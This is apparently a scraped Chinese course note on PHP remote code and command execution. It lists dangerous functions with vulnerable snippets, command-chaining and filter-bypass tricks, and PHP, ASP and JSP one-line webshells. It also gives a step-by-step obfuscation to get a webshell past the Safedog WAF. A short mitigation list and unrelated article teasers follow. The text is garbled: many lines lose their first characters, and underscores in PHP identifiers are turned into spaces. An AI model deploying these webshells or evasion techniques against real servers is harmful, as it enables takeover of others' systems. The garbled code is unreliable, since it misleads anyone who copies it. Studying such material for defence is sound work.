当前位置: 首页 > news >正文

RCE漏洞

、课程知识点

1、远程代码执行漏洞原理与利用

2、常见的代码执行函数

3、常见的命令执行函数

4、常见的绕过姿势

5、命令执行漏洞防范

、技术目标

1、掌握命令执行漏洞的原理

2、掌握 PHP 命令执行和代码执行的相关函数

3、掌握常见的绕过姿势

4、掌握代码执行漏洞防御措施

、课程内容

1. 什么是 RCE

RCE 又称远程代码执行漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或 者代码,从而控制后台系统(shell 服务器)。

RCE 可以细分为代码执行和命令执行。代码执行执行的是后端语言的代码,命令执行执 的是系统的命令,直接对系统进行操作。

码执行-Remote code execution 令执行-Remote command execution

文的单词首字母都是 RCE,所以这两个漏洞都被称为 RCE

  • 代码执行:可通过 HTTP 请求让服务端执行服务端 WEB 代码的漏洞,通过服务端 WEB 代码也可以漏洞通常是由于代码执行函数(参数)引用了用户可控变量且未进行有 效过滤引起的。常用的一句实现服务端系统命令执行,此类一句话木马就是个人生 的代码执行漏洞。
  • 命令执行:可通过 HTTP 请求直接让服务端执行系统命令的漏洞,通常是由于系统命 执行函数引用了用户可控变量且未进行有效过滤引起的。

此外,其他一些安全漏洞在利用过程中也可能导致远程命令执行,如文件包含漏洞、反 列化漏洞等。

2. RCE 产生的原因

程序员使用脚本语言(比如 PHP)开发应用程序过程中,脚本语言开发十分快速、简洁, 方便,但是也伴随着一些问题。如果我们开发的应用,特别是企业级的一些应用需要去调用一 些外部程序。当应用需要调用一些外部程序时就会用到一些执行系统命令的函数。而应用在 调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中, 没有过滤用户的输入的情况下,就会造成命令执行漏洞。

之,是对用户输入内容的过滤不完善,最终导致用户输入的恶意内容被执行。

3. 危险函数或触发方式

3.1 php 代码执行函数

eval()

eval( ) 函数把()中的字符串按 PHP 代码来执行。该字符串必须是合法的 PHP 代码,且必须以 分号结尾。如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false

一句话木马原型。虽然可以以函数的方式调用 eval(),但是 eval() 不是 PHP 的函数,是一种语 结构,不能动态调用。在 eval() 执行的字符串要以分号结束。

a=$file=fopen("x.php","w") or die("false"); fwrite($file, "<?php @eval(\$  POST['cmd']);?>"); fclose($file);

码示例:

<?php

$code = $  REQUEST['a'];

 eval($code);

assert()

assert() 会将字符串当做 PHP 代码来执行。assert() 以动态调用。高版本 PHP 中,assert() 被弃用。

码示例:

$code = $  REQUEST['a'];assert($code);

create  function()

create  function():创建匿名函数,接受两个字符串参数:参数列表和函数体。返回一个匿名函数的引 

<?php $a = 'phpinfo();';$b = create  function("",$a);$b();?>

call  user  func()

用回调函数。原型: mixed call  user  func ( callable callback[,mixedparameter [, mixed $… ]] )  个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

<?php

$func = 'assert';$arg = "phpinfo();";call  user  func($func, $arg);

call  user  func  array()

回调函数,参数为数组,可以传递多个参数给回调函数。返回回调函数的返回值。适用于动态函数调 

法同上

<?php

$cmd=$  POST['cmd']; $array[0]=$cmd; call  user  func  array("assert",$array); ?>

uasort() /sort()

uasort () 函数使用户自定义的比较函数对数组排序,并保持索引关联(不为元素分配新的键)。 如果 功则返回 TRUE,否则返回 FALSE

<?php

$e= 'assert';$arr = array($  REQUEST['pass'],'phpinfo();');uasort($arr,$e)?>

preg  replace()

preg replace() 函数执行一个正则表达式的搜索和替换。

preg  replace(‘正则规则’,‘替换字符目标字符’)

行命令和上传文件参考 assert 函数(不需要加分号)

将目标字符中符合正则规则的字符替换为替换字符,此时如果正则规则中使用/e 修饰符,则存在代码 行漏洞。

preg  replace(“/test/e”,$  POST[“cmd”],“jutst test”);

函数中第一个参数是正则表达式,e 是正则表达式的修饰符。

$code = preg  replace('~i~', 'I', 'xiu');

$code = preg  replace('~\[(.*)\]~e', '\\1', '[phpinfo()]'); echo $code;

array  map()

为数组的每个元素应用回调函数。用于将回调函数应用于数组的每个元素。接受一个回调函数和一个 或多个数组。返回一个新数组,数组元素是回调函数应用于原始元素的结果。适用于转换或处理数组 素。

码示例:

$func = "assert";$arg[] = "phpinfo();";array  map($func, $arg);

array  filter()

array  filter  使用回调函数过滤数组的元素。array  filter():依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在结果的数组中。数组的 名保留不变,适用于基于条件移除数组中的元素。

<?php $array[0] = $  GET['a'];array  filter($array,'assert');?>

<?php

$cmd=$  POST['cmd']; 
$array1=array($cmd); 
$func =$  GET['aaa']; 
array  filter($array1,$func); 
?>

此外,${}也可以执行代码(在双引号中倘若有${}出现,那么{}内的内容将被当做 php 代码块来执行。) 如:

<?php 
${phpinfo()}; 
?>

3.2 php 命令执行函数

system()

system:可以执行系统命令,并且将其输出

<?php

$code=$  GET['a'];

system($code); 
?>

写入一句话木马 echo ^<?php @eval($ POST['cmd']);?^> > x.php 
http://127.0.0.1/rce/a.php?a=echo ^<?php @eval($ POST['cmd']);?^> > x.php

 ^ 的作用是转义 <

passthru()

passthru :执行外部程序并且显示原始输出

<?php @passthru($  POST['cmd']); ?>

cmd=ipconfig 即可显示信息

exec()

个函数有点特殊,他只输出最后一行

且他的输出需要自己打印。(即用 echo 打印出来

<?php

echo exec($  POST['cmd']); 
//echo "";?>

shell  exec()

shell  exec :通过

shell 执行命令并将完整的输出以字符串的方式返回

<?php echo "shell  exec($  POST['cmd'])"; ?>

popen()/proc  open()

该函数也可以将字符串当作 OS 命令来执行,但是该函数返回的是文件指针而非命令执行结果。该函 有两个参数。

<?php $cmd=$  POST['cmd'].">>1.txt"; popen("$cmd",'r'); ?> 
$cmd 将文件查询结果放入 1.txt popen 将该文件赋予可读权限  linux 里,命令为 popen“/bin/ls”,‘r’;

反引号 ``

[``]反引号里的东西也会被当成系统命令执行。whoami 可以直接执行

<?php echo `whoami` ?>

${}

${}也可以执行代码(在双引号中倘若有${}出现,那么{}内的内容将被当做 php 代码块来执行。)

<?php 
${phpinfo()}; 
?>

除了 PHP 以外,再来看看其他开发语言常用的命令执行函数。 JSP 执行系统命令:

ASP 执行系统命令:

4 常见管道符

4.1 windows

  1. " | "

接执行后面的语句(前面的语句是错是对无关紧要)

C:\Users\fwz>echo "1" | echo "2"

"2"

  1. " || "

果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。

C:\Users\fwz>echo "1" || echo "2"

"1"

C:\Users\fwz>echoo "1" || echo "2"

'echoo' 不是内部或外部命令,也不是可运行的程序

批处理文件。

"2"

  1. " & "

条命令都执行,前面的语句可真可假

C:\Users\fwz>echoo "1" & echo "2"

'echoo' 不是内部或外部命令,也不是可运行的程序

批处理文件。

"2"

C:\Users\fwz>echo "1" & echo "2"

"1"

"2"

  1. " && "

果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的

句只能为真

C:\Users\fwz>echo "1" && echo "2"

"1"

"2"

C:\Users\fwz>echoo "1" && echo "2"

'echoo' 不是内部或外部命令,也不是可运行的程序 批处理文件。

4.2 Linux

  1. " ; "

行完前面的语句再执行后面的语句,如果前面的语句出错,则执行后面的命令

ping -c 4 127.0.0.1;ls

  1. " | "

示后面语句的执行结果(前面的语句无论对错) ping -c 4 127.0.0.1 | ls

  1. " || "

前面的语句执行出错时,执行后面的语句

ping -c 4 127.0.0.1.1 || ls

  1. " & "

条命令都执行,前面的语句可真可假 ping -c 4 127.0.0..1.1 & ls

  1. " && "

面的语句为真才能执行两条命令,否则都不执行

5 命令执行漏洞演示

 DVWA 平台 low 安全等级为例,我们来看看这个漏洞的具体成因,漏洞页面如下:

如上图,输入 IP 地址,点击 Submit,就会执行 ping 命令。查看后端代码:

分析上图代码,首先通过 php  uname('s')读取操作系统名,与'Windows NT'对比,判断 是不是 Windows 系统。如果是 windows 系统,则通过 shell  exec()函数执行 ping 命令。如 果不是,则判断为 Linux 系统,执行 ping -c 4 命令(因为 Linux 系统如果不指定发包数, 就会一直 ping 下去)。可以看到,这里并没有对输入的'ip'参数做任何过滤,因此存在命令 执行漏洞。在Windows和Linux中,我们可以使用&来执行多条命令。输入8.8.8.8 & ipconfig  果如下:

Ipconfig 命令被一并执行了,并且成功返回结果。这就是一个简单的命令执行漏洞,如  web 应用为 root 权限,我们还可以执行创建用户等各类操作。

在上面的例子中,我们使用&作为连接符,实现同时执行多条命令。下面介绍几种系统常 的命令连接符。

6 一些通用的绕过姿势

6.1 空格被限制

以用以下字符串代替:

< -- 重定向,如 cat<flag.php

<> 
%09

-- 重定向,如 cat<>flag.php

--  php 环境,如 cat%09flag.php

${IFS} -- 单纯 cat$IFS2,IFS2  bash 解释器当做变量名,输不出来结果,加一个{}就固定了变量 名,如 cat${IFS2}flag.php

$IFS$9 -- 后面加个${}类似,起截断作用,$9 是当前系统 shell 进程第九个参数持有者,始终 为空字符串,如 cat$IFS2$9flag.php

#cat flag

flag{hell0  W0rld}

6.2 黑名单绕过

  1. 引号和双引号绕过

  1. 斜杠绕过

  1. 码(base64)

  1. 码(hex)

  1. 变量绕过

┌──(rootkali)-[/home/fwz] 
└─# cat fl$@ag

flag{hell0  W0rld}

6.3 代码执行中函数被过滤

比如存在 eval(),我们想借助这个去转到命令执行来获取 flag 或者是进一步获取系统的操作权限, 但是关键的命令执行函数 system()等被过滤

  1. 引号绕过

也称之为内敛执行。在权限足够的情况下,php 中的反引号可以直接执行系统命令

7 过狗一句话原理与利用

在之前的文件上传漏洞中就有介绍过木马文件,通过上传木马文件实现远程连接从而进 行远程控制操作。利用上传文件漏洞上传木马文件过程中,可能会遇到服务端对上传文件后 缀、文件名、文件格式以及文件内容等进行检测过滤,从而导致木马文件上传失败。如今存 在很多过滤机制与安全产品能够实现网站上传保护,比如安全狗。因此,学习如何绕过这些 保护机制成功上传木马文件是至关重要的。在下面的学习中我们称之为过狗一句话,该名称 于绕过安全狗的检测机制成功过上传一句话木马文件。

在学习过狗一句话之前,需要先学习一句话木马的原理与利用,将一句话木马剖析清楚 有利于对过狗一句话原理的理解。

7.1 一句话木马

WEBSHELL 又称网页木马文件,根据开发语言的不同又分为 ASP 木马、PHP 木马、JSP  马等,该类木马利用了脚本语言中的系统命令执行、文件读写等函数的功能,一旦上传到服 器被脚本引擎解析,攻击者就可以实现对服务器的控制。

一句话木马因其短小精悍不易被过滤又能与中国菜刀等工具配合使用的优势,成为了业 界最使用的 WEBshell 类型。根据不同开发语言,一句话木马的构造语法不同,下面介绍三种 发语言的一句话木马写法:

  • PHP 一句话木马: 
    <?php @eval($  POST['v']);?>
  • JSP 一句话木马:

<%if(request.getParameter("f")!=null)(new 
java.io.FileOutputStream(application.getRealPath("\\")+request.getParame ter("f"))).write(request.getParameter("t").getBytes());%>

  • ASP 一句话木马: 
    <% eval request("v")%>

功上传一句话木马文件后,通过工具进行远程连接 get webshell,比如菜刀和蚁剑:

面分别介绍下各类开发语言的木马语句构造原理:

  1. PHP 木马

语法:<?php @eval($  POST['v']);?>

原理:eval()函数会将参数作为 PHP 代码进行执行,因此通过 eval()函数中的参数 v  交要执行的代码即可完成漏洞利用。语句中的@符号作用是可以屏蔽函数执行过程中遇到问题 而产生的一些错误、警告信息,这样用户就看不到程序的出错信息。如此一来,即使$  POST[] 变量没有获取到参数值时也不会报错。这样除了用户界面会友好一些外,更重要的是安全性, 为屏蔽了出错文件的路径等信息。

成功上传一句话木马文件后可以直接用菜刀或蚁剑连接,也可以访问文件上传路径实现 意命令执行,通过 v 参数传入命令执行函数 system(),执行 system()函数中的系统命令:

  1. ASP 木马

语法:<%eval request("cmd")%>

原理:eval 函数会将参数作为 ASP 代码进行执行,因此通过参数 cmd 提交要执行的代码 即可完成漏洞利用。木马文件成功上传后可以直接用菜刀或蚁剑连接,也可以访问文件上传 路径实现任意命令执行。注意语句中利用的是 request()函数,此函数能够接收 GET 方式和 POST 方式传入的参数,因此传入参数时可以直接在 URL 中构造语句,传入 cmd 参数如下图, 
 

图中的系统命令 ipconfig 运行结果显示页面如下:

  1.  JSP 一句话木马 法:

原理:JSP 一句话木马可以向网站提交任意 JSP 代码并生成脚本文件。上述代码中的 request.getParameter("f")获取到参数 f 的值作为创建的文件名,然后调用 write 往创建的 件中写入 request.getParameter("t")获取到的参数 t 的值作为文件内容。

在火狐构造 post 表单参数,因为是 request 接收所以不论 post 还是 get 服务端都能够 取到参数值。表单发送后,发现服务端真的创建了 1.txt 文件,并且文件内容就是 hello。

6.2 过狗一句话

单从 php 一句话木马语法上理解,如<?php @eval($  POST[‘pass’])?>,首先$  POST 获取 post 到服务器的参数名 pass 数据,然后 eval 会将$  POST 获取的字符串按照 php 

法进行解析,这样我们通过各种 php 函数的组合使用就能通过中国菜刀等工具对服务器的文 进行操作,这也就是常见一句话的工作原理。

通常,过狗一句话是过滤或者屏蔽一些敏感字眼或敏感函数以此来阻止木马文件中的恶 代码被执行,比如 eval()函数和 assert()函数等。因此过狗一句话重点就在于如何将 eval

函数绕过安全狗等安全产品的过滤与检测,最终在服务端仍然执行恶意代码并实现远程连接。 例一种最简单的绕过方式,就是将 eval 字符作为另一个参数传入,如下锁好是:

时在火狐 post 数据提交处输入 cmd=eval&pass=123 便可构成一句话木马。

者将 assert 字符串通过拼接方式利用:

通过字符拼接符将 assert 隔开绕过过滤检测,但是此方法只适用于 assert 函数,对于 eval 函数来说不可行,eval 字符隔开后再拼接无法生效,没办法正常执行语句,因此这个方 局限于 assert 函数的一句话木马绕过。

面介绍的两种简单绕过方法都有一定的局限性,因此我们需要学习更为规范的通用的

狗一句话。一般来说,通用的过狗一句话常要用到三个函数:

  • str  replace('aa','a',$a); //1.被替换内容 2.用作替换内容 3.替换的内容

  • base64  encode();
  • base64  decode();

//加密 
//解密

过狗一句话听起来很复杂,但主要思路就是对一句话中的危险的回调函数 assert 等进行 base64 加密然后插入随便字符,然后用 str  replace()函数替换,绕来绕去还是替换成 assert($  POST["v"]);的 base64 加密,然后在解密,就可以了。

体的 Byass 思路:

根据网站开发语言准备对应的一句话木马,对一句话中的敏感字眼/敏感函数进行base64 编码,在编码后的语句中插入混淆字符,然后再次对其进行 base64 二次编码。对这串字符串 进行压缩处理为了不易别发现,解压后进行 base64 解码处理,接着清除混淆字符后进行二次 码,最后进行数据拼接完成一句话木马。

6.3 过狗一句话案例

照上述思路重新编写一句话木马,如下图所示案例:

下来我们一句句分析上述过狗一句话代码的编写思路:

  1. 备好普通的一句话:
  2. 对其中的危险性函数 assert 进行 base64 编码并加入混淆字符 thinking  JoeVatte:

  1.  YXNthinkingzZXJoeVatteJ0 再次 base64 编码:
  2. 对上述代码使用 gzdeflate()对数据进行压缩:
  3. 使用 base64  decode  gzinflate 进行嵌套,先解压缩再进行 base64 解码,再把值 传入变量中(1-5 的步骤主要是做了 混淆处理)到这一步变量的值 已经转回: YXNthinkingzZXJoeVatteJ0:
  4. 定义函数 cl()将 YXNthinkingzZXJoeVatteJ0 中的混淆字符替换为空并进行 base64 解码最终转化为 assert:

str  replace($step  2,$step  1,$data);的意思是在,$data 数据里面寻找$step  2 数组里的数据,并使用$step  1 数组的数据进行替换,且替换是数组中位置一一对 应的。处理后得到的是 YXNzZXJ0,再使用 base64 解码下就得到 assert,并把 assert 回到调用函数的位置。

  1.        (cl)  cl($data)      assert           
    $a(@$  POST['cmd']);

际上经过 1-7 的操作后最终获得:$a(@$  POST['cmd']); == assert(@$  POST['cmd']);

8 命令执行漏洞防范

1、 尽量少用执行命令的函数或者直接禁用; 
system()、assert()、shell  exec()、passthru()等命令执行函数。

2、 尽量不要执行外部命令;

尽量使用自定义函数或函数库实现外部应用程序或命令的功能。在执行 system、eval  令执行功能的函数前,要确认参数内容。

3、 使用自定义函数或者函数库来代替外部命令的功能;

4 参数值尽量使用引号包括,并在拼接前调用 addslashes 函数进行转义;

5、 在使用动态函数之前,确保使用的函数是指定的函数之一;

6、 在进入执行命令的函数方法之前,对参数进行过滤,对敏感字符进行转义;

7 使用 safe  mode  exec  dir 执行可执行的文件路径;

 php.ini 文件中的 safe  mode 设置为 On,然后将允许执行的文件放入一个目录,并使  safe  mode  exec  dir 指定这个可执行的文件路径。这样,在需要执行相应的外部程序 时,程序必须在 safe  mode  exec  dir 指定的目录中才会允许执行,否则执行将失败。

8、 对于可控点是程序参数的情况下,使用 escapeshellcmd 函数进行过滤,对于可控点是程 序参数值的情况下,使用 escapeshellarg 函数进行过滤。escapeshellarg 函数会将用户 引起参数或命令结束的字符进行转义,如单引号“’”会被转义为“’”,双引号“"” 会被转义为“"”,分号“;”会被转义为“;”,这样 escapeshellarg 会将参数内容限 制在一对单引号或双引号里面,转义参数中包括的单引号或双引号,使其无法对当前执 进行截断,实现防范命令注入攻击的目的。

相关文章:

RCE漏洞

一、课程知识点 1、远程代码执行漏洞原理与利用 2、常见的代码执行函数 3、常见的命令执行函数 4、常见的绕过姿势 5、命令执行漏洞防范 二、技术目标 1、掌握命令执行漏洞的原理 2、掌握 PHP 命令执行和代码执行的相关函数 3、掌握常见的绕过姿势 4、掌握代码执行漏洞防御措施…...

在开发嵌入式系统时,尤其是处理大数时,会遇到取值范围的问题。51单片机通常没有内建大整数支持,因此我们需要采用不同的方法来解决这一问题

00 两种可行方法分别是&#xff1a; 使用数组存储每一位数据并进行进位运算&#xff1a;通过将大数按位拆分成数组&#xff0c;然后实现逐位加法、进位等操作。使用符号变量进行计算&#xff1a;将数值分成低位和高位&#xff0c;分别用符号变量进行计算。 01&#xff1a;使用…...

【Compose multiplatform教程20】在应用程序中使用多平台资源

为项目设置资源后&#xff0c;生成项目以生成提供资源访问权限的特殊类。要重新生成类和所有资源访问器&#xff0c;请再次生成项目或在 IDE 中重新导入项目。ResRes 之后&#xff0c;您可以使用生成的类从您的代码或外部库访问配置的多平台资源。 自定义访问器类生成 您可以使…...

深入浅出:从入门到精通大模型Prompt、SFT、RAG、Infer、Deploy、Agent

阅读原文 渐入佳境 我们都知道&#xff0c;通过编写一个提示词&#xff08;prompt&#xff09;&#xff0c;我们可以引导大模型生成回答&#xff0c;从而开启愉快的人工智能对话&#xff0c;比如让模型介绍一下卡皮巴拉。上边简图描述了这个过程&#xff0c;我们拆成两部分 pr…...

紫光同创-盘古200pro+开发板

本原创文章由深圳市小眼睛科技有限公司创作&#xff0c;版权归本公司所有&#xff0c;如需转载&#xff0c;需授权并注明出处&#xff08;www.meyesemi.com) 一、开发系统介绍 开发系统概述 MES2L676-200HP 开发板采用紫光同创 logos2 系列 FPGA&#xff0c;型号&#xff1a;…...

iOS 中的 nil、Nil、NULL、NSNull 僵尸对象和野指针

iOS 中的 nil、Nil、NULL、NSNull 僵尸对象和野指针-CSDN博客 类型含义使用场景示例nil表示一个指向 Objective - C 对象的空指针。在 Objective - C 和 Swift&#xff08;与 Objective - C 交互时&#xff09;中用于表示对象不存在。当一个对象变量没有指向任何有效的对象实例…...

【优选算法】有效三角形的个数(双指针算法)

优质专栏&#xff1a;算法_云边有个稻草人的博客-CSDN博客 目录 【611. 有效三角形的个数 - 力扣&#xff08;LeetCode&#xff09;】 解法一&#xff1a; 解法二&#xff1a; 【611. 有效三角形的个数 - 力扣&#xff08;LeetCode&#xff09;】 解法一&#xff1a; 三层for…...

中介者模式(Mediator Pattern)、桥接模式(Bridge Pattern) 和 策略模式(Strategy Pattern)

中介者模式&#xff08;Mediator Pattern&#xff09;、桥接模式&#xff08;Bridge Pattern&#xff09; 和 策略模式&#xff08;Strategy Pattern&#xff09; 都是常见的设计模式&#xff0c;它们解决不同类型的问题。我们将通过 Swift 示例来说明它们的使用场景&#xff0…...

客户案例:基于慧集通打通聚水潭电商ERP与用友U8系统集成之路

一、引言 本原型客户是 生物科技公司&#xff0c;其公司系列抗菌抗病毒产品广泛应用于医疗用品、纺织服饰、家纺用品、母婴护理、女性用品、个人防护等多个领域。在知识产权方面&#xff0c;公司在专业领域已获得商标和专利近百项&#xff0c;创新能力得到了国家及行业内普遍认…...

阿里云clb是什么

传统型负载均衡服务 ‌阿里云CLB&#xff08;Classic Load Balancer&#xff09;是阿里云提供的一种传统型负载均衡服务&#xff0c;主要用于将访问流量根据转发策略分发到后端多台云服务器。‌‌ CLB的定义和功能 CLB是一种流量分发控制服务&#xff0c;通过设置虚拟服务地…...

【Cursor编辑器】自用经验和实操(迭代更新)

1.启动composer crtl I 2.生成直接一直问加载 3. 实操 生成个知识图谱&#xff0c;使用csv文件里面的数据创关系和节点。...

【学习笔记】ChatGPT原理与应用开发——基础科普

HuggingLLM&#xff08;ChatGPT原理与应用开发&#xff09; 原文链接&#xff1a;HuggingLLM&#xff08;ChatGPT原理与应用开发&#xff09;-课程详情 | Datawhale 此处仅为学习记录和总结 1&#xff1a;基础科普 1.1&#xff1a;自然语言背景 图灵测试 如果一个人&#x…...

基于Web的实验中心工作管理网站的设计与实现

写作任务 一、课题背景 实验中心承担了全校计算机公共基础课程和学院专业课程&#xff0c;需要对实验中心工作进行有效的管理。 二、课题任务 本课题设计和实现实验中心工作管理系统。 系统的主要内容包括&#xff1a; &#xff08;1&#xff09;人员管理&#xff1b; &am…...

docker 安装minio

docker pull minio/minio #启动 mkdir -p /root/minio/config mkdir -p /root/minio/datadocker run -d \--name minio \-p 9002:9000 \-p 9001:9001 \--restartalways \-v /root/minio/data:/data \-v /root/minio/config:/root/.minio \-e "MINIO_ACCESS_KEYminioadmin…...

ubuntu下ipmi的使用(4028)

参考ubuntu系统下配置IPMI_ubuntu ipmi-CSDN博客 参考&#xff1a;ipmitool ubuntu 安装_ipmi centos ubuntu使用总结-CSDN博客 1.安装 sudo apt-get -y install ipmitool 2.加载 modprobe ipmi_msghandlermodprobe ipmi_devintfmodprobe ipmi_si 3.使用,查看不到的话&am…...

周记-唐纳德的《计算机程序设计艺术》

用代码生成代码 开发一个协议&#xff0c;字段有些多&#xff0c;每个字段是QT的属性&#xff0c;需要写Q_PROPERTY&#xff0c;一个一个编辑的话比较繁琐&#xff0c;耗费时间。后来就用代码生成了头文件和源文件&#xff0c;get和set还有signal函数&#xff0c;内容基本都是…...

极品飞车6的快捷键与车辆等级

极品飞车&#xff0c;英文全称为Need for Speed&#xff0c;是EA公司于1994年开始研发的赛车类竞技游戏。从1996年的《极品飞车-特别版》、2002年的《极品飞车:闪电追踪2》、2005年的《极品飞车:地下狂飙2》、到2024年《极品飞车:集结》&#xff0c;是70后、80年、90年等几代人…...

计算机毕业设计Python+知识图谱大模型AI医疗问答系统 健康膳食推荐系统 食谱推荐系统 医疗大数据 机器学习 深度学习 人工智能 爬虫 大数据毕业设计

温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 作者简介&#xff1a;Java领…...

纯真社区版IP库CZDB数据格式使用教程

1. 概述 纯真社区版IP库是一种免费且公开的IP地理位置数据库&#xff0c;主要面向非商业用途。其最新推出的CZDB格式是一种全新的数据文件格式&#xff0c;自2024年10月起将成为官方维护和更新的唯一版本。该格式支持同时存储IPv4和IPv6地址信息&#xff0c;具备以下优点&…...

Linux(Centos 7.6)软件包安装

Linux软件安装&#xff0c;常见的有三种方式&#xff0c;rpm方式、yum方式、源码编译安装方式。其中rpm方式可能存在依赖方式&#xff0c;可能会比较麻烦&#xff1b;源码编译安装同样可能会缺少一些编译需要的软件需要安装&#xff0c;也会比较麻烦&#xff1b;相对比较好的方…...

ASP.NET MVC添加视图示例

ASP.NET MVC高效构建Web应用- 商品搜索 - 京东 视图&#xff08;V&#xff09;是一个动态生成HTML页面的模板&#xff0c;它负责通过用户界面展示内容。本节将修改HelloWorldController类&#xff0c;并使用视图模板文件&#xff0c;以干净地封装生成对客户端的HTML响应的过程…...

JSP、HTML和Tomcat

9x9上三角乘法表 乘法表的实现 <% page contentType"text/html;charsetUTF-8" language"java" %> <!DOCTYPE html> <html> <head><title>99 上三角乘法表</title><style>body {font-family: monospace;padding…...

【软件】在 macOS 上安装 MySQL

在 macOS 上安装 MySQL 有多种方法&#xff0c;以下是两种常见的安装方式&#xff1a;通过 Homebrew 安装和通过安装包安装。以下是详细的步骤&#xff1a; 一、通过 Homebrew 安装 MySQL Homebrew 是 macOS 的包管理器&#xff0c;使用它安装 MySQL 非常方便。 1.安装 Home…...

前端八股之CSS

CSS 盒子模型深度解析与实战 一、盒子模型核心概念 Box-sizing CSS 中的 box-sizing 属性定义了引擎应该如何计算一个元素的总宽度和总高度 语法&#xff1a; box-sizing: content-box|border-box|inherit:content-box 默认值&#xff0c;元素的 width/height 不包含paddi…...

【机器学习基础】机器学习入门核心算法:随机森林(Random Forest)

机器学习入门核心算法&#xff1a;随机森林&#xff08;Random Forest&#xff09; 1. 算法逻辑2. 算法原理与数学推导2.1 核心组件2.2 数学推导2.3 OOB&#xff08;Out-of-Bag&#xff09;误差 3. 模型评估评估指标特征重要性可视化 4. 应用案例4.1 医疗诊断4.2 金融风控4.3 遥…...

uniapp-商城-77-shop(8.2-商品列表,地址信息添加,级联选择器picker)

地址信息,在我们支付订单上有这样一个接口,就是物流方式,一个自提,我们就显示商家地址。一个是外送,就是用户自己填写的地址。 这里先说说用户的地址添加。需要使用到的一些方式方法,主要有关于地址选择器,就是uni-data-picker级联选择。 该文介绍了电商应用中地址信息处…...

行业分析---小米汽车2025第一季度财报

1 背景 最近几年是新能源汽车的淘汰赛&#xff0c;前短时间比亚迪再次开始了降价&#xff0c;导致一片上市车企的股价大跌&#xff0c;足见车圈现在的敏感度。因此笔者会一直跟踪新势力车企的财报状况&#xff0c;对之前财报分析感兴趣的读者朋友可以参考以下博客&#xff1a;…...

解决Window10上IP映射重启失效的问题

问题 在实际网络搭建过程中&#xff0c;大家有可能会遇到在局域网范围内&#xff0c;在自己本机上搭建一个网站或者应用时&#xff0c;其他设备通过本机的IP地址无法访问的问题,这个问题可以通过设置IP映射来解决&#xff0c;但是通过netsh interface命令设置的IP映射&#xf…...

模块联邦:更快的微前端方式!

什么是模块联邦 在前端项目中&#xff0c;不同团队之间的业务模块可能有耦合&#xff0c;比如A团队的页面里有一个富文本模块&#xff08;组件&#xff09;&#xff0c;而B团队 的页面恰好也需要使用这个富文本模块。 传统模式下&#xff0c;B团队只能去抄A团队的代码&#x…...

用户资产化视角下开源AI智能名片链动2+1模式S2B2C商城小程序的应用研究

摘要&#xff1a;在数字化时代&#xff0c;平台流量用户尚未完全转化为企业的数字资产&#xff0c;唯有将其沉淀至私域流量池并实现可控、随时触达&#xff0c;方能成为企业重要的数字资产。本文从用户资产化视角出发&#xff0c;探讨开源AI智能名片链动21模式S2B2C商城小程序在…...